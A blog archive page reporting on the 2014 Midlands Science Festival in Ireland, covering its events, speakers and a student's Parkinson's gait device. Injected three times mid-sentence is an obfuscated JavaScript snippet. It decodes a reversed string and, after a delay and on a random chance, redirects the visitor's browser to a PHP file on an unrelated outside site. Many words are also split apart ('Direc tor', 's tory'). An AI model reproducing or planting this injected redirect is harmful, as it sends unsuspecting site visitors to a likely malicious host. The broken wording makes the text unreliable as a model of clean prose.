Archive for month: November, 2014

With over fifty events ranging from entertaining FameLab workshops and enthralling reptile visits to science bubble shows and brilliant presentations on ‘why we age’ and the scientific heritage of the Midlands, there really was something for all age groups during this year’s Midlands Science Festival. It was therefore no surprise that the number of people in attendance this year reached over 4,500 people. Events were held in venues around the region with many taking place at Athlone Institute of Technology, others in schools and even out $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doors.

Jackie Gorman, Direc tor of the Midlands Science Festival commented,
‘I am delighted at the success of our second Midlands Science Festival, which as promised was bigger and better than the one we ran last year in. It was wonderful to see so many families attending some of our new events such as ‘Stargazing on the Bog’ on the final night and it was also fantastic to see some of our key speakers interacting with audiences in very relaxed settings such as libraries, pubs and cafes this year. Organising such a large event is certainly a challenge but one we really enjoyed and I wish to thank Science Foundation Ireland, all of our partners, speakers, performers and host venues once again for making this all possible.’

Visi tors to this year’s festival also had the opportunity to attend talks by some of Ireland’s leading scientists (See Tullamore Alchemist Café in pho to). It was great to see audiences of all ages, ranging from school pupils and teenagers to highly respected science experts, communica tors and professors. The festival is a fantastic way to really capture the imagination and show people that science can be fun.

A good number of Midlands students also had the opportunity to avail of some high level careers advice from companies such as Cpl Recruitment and Midlands based multinational technology firm Ericsson, who are also on board as a key partner to the 2014 Midlands Science Festival.

The organisers of the Midlands Science Festival also wish to thank the public, many of whom travelled from beyond the region to attend some of the events which took place this year.

Jackie Gorman continued,
‘We have been overwhelmed by the level of enthusiasm and goodwill from our partners, local media, venues and many other organisations and individuals throughout the region. The large public turnout totalling over 4,500 people in attendance shows the appetite for this type of regional event and after another successful year, we can hopefully look forward to bringing the Midlands Science Festival back to this region again.’

See below podcast of our time with snakes and spiders yesterday in Athlone!

http://www.midlandsradio.fm/podcasts

Today really was hectic but we are relieved that everything went well! We had more sunspotter workshops, this time in Crinkle, Birr and also one in Longford. Children in Athlone had the chance to pet a boa constric tor and watch a tor toise in action as the Reptile Zoo Village visited for the day and then it was back to AIT for a public talk by NUI Maynooth’s Dr. Fiona Walsh on Antibiotics Resistance.

Across the region in Laois, we had some science friends $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down from UCD’s Food for Health divison to talk to students Heywood Secondary School while back in Offaly, we had BT Young Scientist winner Edel Brown in Killina school for another inspiring student talk. Sile lane returned for a school workshop while Iggy McGovern and Catherine Ivers hosted a very different cultural event in the Luan Gallery on ‘The Poetry of Physics.’

To finish off an incredible day, a packed audience was entertained by one of Ireland’s leading scientists, Luke O’ Neill on ‘Why we Age’ and Luke was joined by Sile Lane of Sense About Science and Jonathan McCrea of Newstalk /The Science Squad. Today’s schedule was jam-packed but we are thrilled to say there really was something for everyone and the Midlands Science Festival 2014 is still young!

For now, time for some rest before another busy day tomorrow!

We were so lucky to have Young Scientist Edel Brown from Galway in the region today to speak to students at Killina Secondary School in Offaly.

Edel is a former student of Presentation College, Athenry and is now studying Biotechnology at NUI, Galway. She recently won the Best Individual Senior Award at the BT Young Scientist Exhibition. Edel won the award for her ‘Free Feet’ project. ‘Free Feet’ is a device that reduces the freezing of gait in Parkinson’s disease. The idea of ‘Free Feet’ is to attach a simple laser pointer device to a patient’s shoe. This puts a $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dot on the ground, giving the patient a target to concentrate on.

“Gait freezing is a disabling symp tom of Parkinson’s. 72% of people suffering from the disease experience it. It makes them feel like they’re stuck to the ground and they can’t move their legs or feet,” said Edel.

The students listened with great interest to Edel’s s tory which, given her young age of just 17 is truly impressive! We really were privileged to have her as part of the Midlands Science Festival and wish her every success in her future as a budding scientist and entrepreneur.

What a great day today across the region for the start of the Midlands Science Festival. We hosted TCD Sunspotter workshops in the Bower secondary school in Athlone, another student workshop in St. Finians in Mullingar courtesy of Fergal O’ Brien from the Royal College of Surgeons and a visit from the Junior Einsteins Science Club to Mullingar Educate Together NS!

We also enjoyed a fantastic day at Athlone Institute of Technology (AIT) with Famelab, where we had a large cohort of local primary children in the morning for an innovative workshop (pho to) and a FameLab showcase in the afternoon. There will be more exciting news to come about FameLab for the region in the weeks ahead!

Cpl Recruitment’s Judith Moffett had a busy day delivering plenty of high level careers advice at a student workshop in Athlone Community College and another at AIT in the afternoon. We were also delighted to have Sile Lane from Sense About Science UK. Sile is with us for a few days and she too kick-started her events in AIT today.

The opening day of any festival is always filled with anticipation and today did not disappoint. We are looking forward to lots more fun celebrating science over the next five days in the Midlands.